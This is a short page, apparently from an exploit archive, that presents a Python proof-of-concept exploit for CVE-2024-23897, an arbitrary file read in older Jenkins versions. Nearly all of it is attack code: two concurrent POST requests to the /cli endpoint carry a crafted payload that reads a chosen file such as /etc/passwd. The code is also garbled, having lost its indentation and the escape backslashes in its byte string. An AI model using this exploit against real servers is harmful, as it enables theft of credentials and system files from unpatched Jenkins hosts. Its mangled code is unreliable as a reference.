Jenkins versions 2.441 and below and LTS 2.426.3 and below remote arbitrary file read proof of concept exploit written in Python.
advisories | CVE-2024-23897
# python poc.py
# [*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]
import threading
import http.client
import time
import uuid
import urllib.parse
import sys
if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()
data_bytes = b'x00x00x00x06x00x00x04helpx00x00x00x0ex00x00x0c@' + sys.argv[2].encode() + b'x00x00x00x05x02x00x03GBKx00x00x00x07x01x00x05zh_CNx00x00x00x00x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())
print(f'REQ: {data_bytes}n')
def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')
def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)
t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)
t1.start()
time.sleep(0.1)
t2.start()
t1.join()
t2.join()